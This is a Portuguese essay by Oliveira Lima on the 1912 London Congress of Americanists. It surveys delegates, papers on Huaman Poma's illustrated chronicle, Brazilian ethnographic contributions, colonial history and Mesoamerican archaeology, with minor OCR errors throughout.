O CONGRESSO DOS AMERICANISTAS EM LONDRES

Oliveira Lima

O CONGRESSO DOS AMERICANISTAS EM LONDRES

I

O XVIII Congresso dos Americanistas, realizado em Londres, de 27 de maio a 4 de junho, foi o mais concorrido, o mais animado e o mais interessante dos que até aqui têm tido lugar. Numerosos governos europeus e todos os governos americanos fizeram-se representar oficialmente, foi abundantíssima a representação das Universidades e sociedades científicas, e entre os membros a título pessoal contavam-se verdadeiras ilustrações nessa especialidade americanista que em verdade vai chamando a si cada vez maior número de adeptos, quando mais esgotado parece ir ficando o seu campo pela atividade de tantos dos seus cultores.

Figuravam assim no rol dos delegados dos governos, pela França o ilustre geógrafo Cordier, pela Bélgica o Barão de Borch-grave, distinto acadêmico e antigo ministro em Viena, pela Holanda o Barão de Panhuya, diretor no Ministério das Colônias, pelo Chile o grande erudito Toribio Medina, pela Argentina o decano da Faculdade de Ciências e diretor do Museu de La Plata Lafone Quevedo e o diretor do Museu Etnológico de Buenos Aires Am-brosetti, pela Espanha o conhecido historiador Rafael Altamira, pelos Estados Unidos um grupo de etnólogos universitários c diretores de escolas de arqusologia.

De presidente do Congresso serviu Sir Clements Markham, a maior autoridade viva em assuntos de arqueologia peruana, cuja vida intelectual se acha consorciada com o passado da terra dos

Incas desde que em 1851, há mais de sessenta anos, foi ao Pacífico, quando jovem oficial de marinha, incumbido pelo Governo britânico de transportar e aclimar nas Índias a planta produtora da quinina, preciosa descoberta de tão grandes benefícios para a humanidade, que se não queria deixar monopólio de uma terra destinada, segundo tudo fazia então crer, a barbarizar-se de novo pela anarquia revolucionária.

Os encantos da terra peruana e sobretudo as tradições a ela ligadas exerceram sua ação sobre o espírito curioso c observador de Sir Clements Markham, que desde então não cessou de lhes dispensar carinhoso estudo. Foi mesmo em homenagem a esta predileção intelectual, além do valor em si do trabalho, realmente extraordinário, que foi dado o lugar de honra entre as comunicações e escolhida para leitura na tarde da inauguração do congresso à memória do delegado oficial alemão e professor da Universidade de Gõttingen, Dr. Pietschmann, sobre a obra manuscrita de um índio peruano, intitulada Nueva Coronica y Bueti Gobierno.

Escrita em 1613 e ilustrada pelo próprio autor, D. Felipe Huaman Poma de Ayála, com um grande número de desenhos à pena do mais alto valor documental, agora apresentados em projeções luminosas, aquela obra abrange uma sinopse da história peruana desde a idade mítica dos Viracoches até o tempo da invasão espanhola, descrições curiosíssimas dos costumes e maneiras do tempo dos Incas, transcrições de rezas e cantos no idioma original quichua, e a relação das desumanidades e crimes dos espanhóis ainda no século XVII.

Ignoramos, disse o presidente do Congresso, a sorte desse homem notável, tão compassivo com relação aos seus desventurosos compatriotas, tão diligente como colecionador de informações, orgulhoso da sua ascendência, cheio de simpatia, destemido no expor as injustiças e as crueldades. Se a sua obra houvesse sido examinada em Lima, para onde êle a trouxe do norte do Peru, por qualquer sacerdote ou funcionário, tê-la-ia este rasgado e destruído. Com certeza foi remetido para Espanha, com a sua missiva ao rei, sem ter sido aberta, seu conteúdo portanto desconhecido, e uma vez na península, puseram-na de lado e desprezaram-na.

Assim ficou esquecida a Coronica até que, adquirida por um ministro dinamarquês em Madri, foi ter à Biblioteca Real de Copenhague, onde a foi descobrir o Dr. Pietschmann. A divulgação chegou enfim, após três séculos, a esse inédito de 1.179 páginas, tão profusamente e tão engenhosamente ilustrado, de forma a fazer reviver diante de nós os Incas com suas vestimentas, armas e ornatos, as coyas ou rainhas com suas galas e enfeites, os ornatos de cabelo de cada província, as festas do calendário Inca e as brutalidades da ocupação estrangeira. Vemos, num sugestivo desfilar, as colheitas recolhidas às granjas, as danças diante dos lha-mas, as procissões com múmias, o conselho do Inca, um índio nobre servindo a mesa de um corregedor mestiço ou mulato, frades açoitando mulheres índias e mestres-escola açoitando rapazotes índios. Os usos tradicionais, o viver pode dizer-se nacional, todo

aquele mundo em caminho de desaparecer, de guerreiros, lavradores, padres, adivinhos, virgens do sol, aparece inesperadamente evocado, por quem, pertencente à mesma raça, estava muito mais no caso de compreendê-la e de representá-la.

A representação brasileira no congresso de Londres foi mais numerosa do que habitualmente, bem como mais copiosa a participação nos trabalhos coletivos. Vários institutos históricos e sociedades geográficas, a Biblioteca Nacional e outros estabelecimentos científicos inscreveram-se numa lista internacional que abrangia o Velho e o Novo Mundo e se estendia desde a Imperial Academia de Ciências de Petersburgo até a Academia Nacional de História de Bogotá.

Nas duas primeiras seções (paleo-antropologia e antropologia física) não figurava comunicação alguma brasileira, figurando na primeira^ uma argentina sobre um crânio fóssil e na segunda uma peruana, sobre a trepanação. Na terceira seção (linguística) contou-se entretanto, entre as várias contribuições versando sobre a matéria e compreendendo a língua aleuta e sua relação com os dialetos esquimaus, a morfologia e fonética do mexicano e as numerais em linguagem caraíba, uma sábia memória do Professor José Feliciano de Oliveira sobre os Cherentes, aborígines do Brasil central, da qual reproduzo o resumo distribuído no Congresso:

I. Etnografia

(1) Classificação.

(2) Costumes étnicos e estado social.

(3) Costumes religiosos e lendas.

II. Lingüística

(1) Classificação morfológica.

(2) Denominações étnicas, familiares, sociais e religiosas.

(3) Esboço do vocabulário (em elaboração).

Segundo classificação de Martius e alguns recentes aperfeiçoamentos ou retoques, os Cherentes (Xerentes — Sherentes — Scherentes) pertencem ao vasto grupo dos Gês, parte central* e segundo subgrupo dos Acuêns (Akuens?)

São aparentados com os Xavantes (Shavantes — Schavan-tes), mas permaneceram em sua primitiva sede, com seus costumes e língua original. Foram aldeados em meado do século último. Até 1896 e mesmo até 1911, achavam-se à margem do Tocantins, segundo os dados que me forneceram seus chefes em São Paulo (Brasil).

As informações anteriores e vocabulários são confusos, inverossímeis ou resultam de observações rápidas e audições incompletas, por ouvidos mal habituados à fonética sonora, cantante, das línguas aborígenes. O material deste trabalho provém das conversações de um chefe, corroboradas por outros que me visitaram de 1896 a 1911.

A quarta seção (etnologia e arqueologia) era naturalmente a mais concorrida e que oferecia maior número de contribuições, das quais três brasileiras, do Dr. Gomes Ribeiro, sobre o ídolo antropomorfo do Iguapé, do Dr. Nelson de Scnna, sobre etnografia * e arqueologia indígenas e do Dr. Simoens da Silva sobre pontos de contato das civilizações pré-históricas do Brasil e da Argentina com as da costa do Pacífico.

Na quinta seção (etnologia geral) eram duas as nossas memórias, uma do Sr. Roquette Pinto, do Museu Nacional, sobre os índios Nhambiquaras do Brasil central — resultados etnográficos da Missão Rondon — e outra do Capitão Henrique Silva sobre a tribo dos Goiases, afora uma curiosa contribuição do Sr. Alberto Fric, de Praga, sobre estudos mitológicos entre os Chamacocos, Kaduveos, e Kaingans comparados com os Bakairis.

Finalmente, na sexta seção (História Colonial) figurava a contribuição de um dos delegados brasileiros sobre proteção dos aborígenes.*

A seção de história colonial era no Congresso de Londres muito mais desenvolvida do que nos anteriores, em que parecia que as matérias a tratar deviam limitar-se exclusivamente aos indígenas e não versar sobre os colonizadores. A pouco e pouco, porém, o estudo da atividade européia na América tem-se ido impondo à atenção dos americanistas, a par das questões etnográficas e arqueológicos de caráter aborígine.

Assim é que este ano houve, para aumentar o acervo Colombino, uma contribuição do Professor Gonzalez de la Rosa, de Lima, sobre a carta de Toscanclli, e outra do Sr. de Peralta, Ministro de Costa Rica em Paris c conhecido erudito, sobre o Rio Belém em Veragna e a quarta viagem de Colombo à América A própria história pré-colombiana foi honrada com uma memória do Barão de Borchgrave sobre as Flandres e a Groenlândia no século IX. Apareceram comunicações sobre manuscritos espanhóis e existentes era arquivos espanhóis relativos à história do México c civilizações asteca e maia, sendo um deles a carta escrita nos fins do século XVII, por três franciscanos, ao bispo de Guatemala relativa à catequese e aos costumes dos Lacandones. Neste mesmo gênero de idéias [há] que notar a contribuição do Dr. He-ger, diretor do Museu Etnográfico de Viena, referente às séries de pinturas a óleo existentes no México, em Madri e em Viena — esta última proveniente do Museu de Miramar, na habitação do Arquiduque Maximiliano — sobre as numerosas e variadas misturas de raças ocorridas no México e a multiplicidade das combinações e designações correspondentes.

A história eclesiástica da América Espanhola no período colonial foi estudada pelo Reverendo Currier, da Universidade Católica de Washington, numa memória que não só trata dos velhos escritores nacionais sobre o assunto como se utiliza dos vários arquivos e bibliotecas do Novo Mundo. Por seu lado, é, como sempre acontece com seus trabalhos, cheia de interessantes informações a memória do Dr. Tooríbio Medina sobre Frei Diego de Landa, cruel inquisidor dos índios em Yucatan, cujos métodos suscitaram mesmo em seu tempo impressão tanto na colônia como na metrópole.

* N. da R. — Memória do nosso ilustre colaborador Oliveira Lima já publicada pelo Estado.

 

Do interesse que vai provocando a história colonial ibérica no Novo Mundo dá prova a memória do Sr. Glauvill Corney sobre o governo de D. Manuel de Amat, vice-rei do Peru de 1761 a 1776, não se cansando o autor dc elogiar seu valor, lealdade, inteligência administrativa e diligência. Uma das partes mais curiosas desta comunicação é a que se ocupa das expedições mandadas pelo vice-rei à ilha da Páscoa c a Taiti.

No tocante à etnologia arqueológica, pré-históricas da América, o México, como dc*costume, absorveu o melhor das atenções, não só figurando entre os que apresentaram memórias a respeito, veteranos desses estudos como o Dr. Selcr e o Dr. Preuss, mas uma plêiade de novos estudiosos europeus e americanos. O Dr. Franz Boas, da Universidade de Colômbia (Nova York), prestou a tal respeito informações detalhadas sobre a obra da Escola Internacional da etnologia e arqueologia americana fundada no México, e que tem procedido a escavações regulares tanto ali como em Guatemala, e a estudos linguísticos relativos aos dialetos locais. Os hieróglifos, que são por assim dizer a chave dos costumes, das tradições e das crenças mexicanas, continuam a oferecer o tema majs amplo para as investigações. Assim, o Sr. J. Martinez Hernandez condensou, segundo o manuscrito Maia de Chunmayel, a concepção existente no Yucatan sobre a criação do mundo, e o Sr. Hermann Beyer, dc Dresda — cito esta comunicação como típica — tratou da representação simiesca nos códices americanos e maias, sustentando, com algumas autoridades na matéria, que tal deus maia tem cabeça de macaco e não como pretende o Professor Seiler, cabeça cortada de cobra. Sobre caracteres ideográficos apresentou o delegado boliviano Sr. Posnansky duas interessantes memórias, especialmente referentes à porta monolítica de Tihuanacu.

As pesquisas arqueológicas e etnológicas têm-se estendido a todo o duplo continente com verdadeiro afã e já se pode quase dizer que não há recanto americano que não haja sido rebuscado e catado com intuito científico. O número de guaqueros, como se chama na Colômbia aos que buscam o ouro oculto nos antigos túmulos índios, é deveras abundante, estendendo aquela designação aos que labutam desinteressadamente e não só procuram metais preciosos como quaisquer documentos de civilizações extintas ou transformadas.

Entre outras contribuições deste gênero o Sr. Theodoro Stoe-pel falou das suas pesquisas relativas aos monumentos de pedra de Santo Agustin, no distrito superior do Madalena, e depois no Equador; o Sr. Jochelson, de Petersburgo, da expedição ao Kamchatka, organizada em 1908 pela Sociedade Russa de Geografia; o Barão de Panhuys, da recente expedição de Surinam, que explorou cientificamente o interior da Guiana Holandesa.

As comunicações propriamente etnográficas somaram um avultado número e as linguísticas foram igualmente abundantes, chegando com o Sr. Thalbitzer, de Copenhague, à análise de termos esquimaus encontrados na Saga de Erico e apresentados como prova das relações dos escandinavos com a Groenlândia, o Lavrador e a Terra Nova, em séculos anteriores à descoberta de Colombo.

Na faina da especialização tem-se naturalmente descido aos pormenores de interesse, tratando por exemplo uma comunicação do Dr. Lizardo Lopez das mutilações nos casos antropomorfos do antigo Peru; outra, do Dr. Preuss, do verbo na linguagem dos índios Cora, do México Ocidental; uma terceira, do Conde M. de Perigny, versando sobre o arco de abóbada na arquitetura maia. As tribos indígenas dos dois continentes, essas têm mesmo sido isoladamente descritas, como neste último congresso, os Quin-baias, da Colômbia, por D. Ernesto Retrepo Tirano. Por tudo se vê que os estudos americanistas se vão tornando exaustivos* e que nada há contribuído tanto para isso como a série de reuniões internacionais que vai em 1914 prosseguir com o congresso de Washington.

Fonte: Oliveira Lima – Obra Seleta – Conselho Federal de Cultura, 1971.

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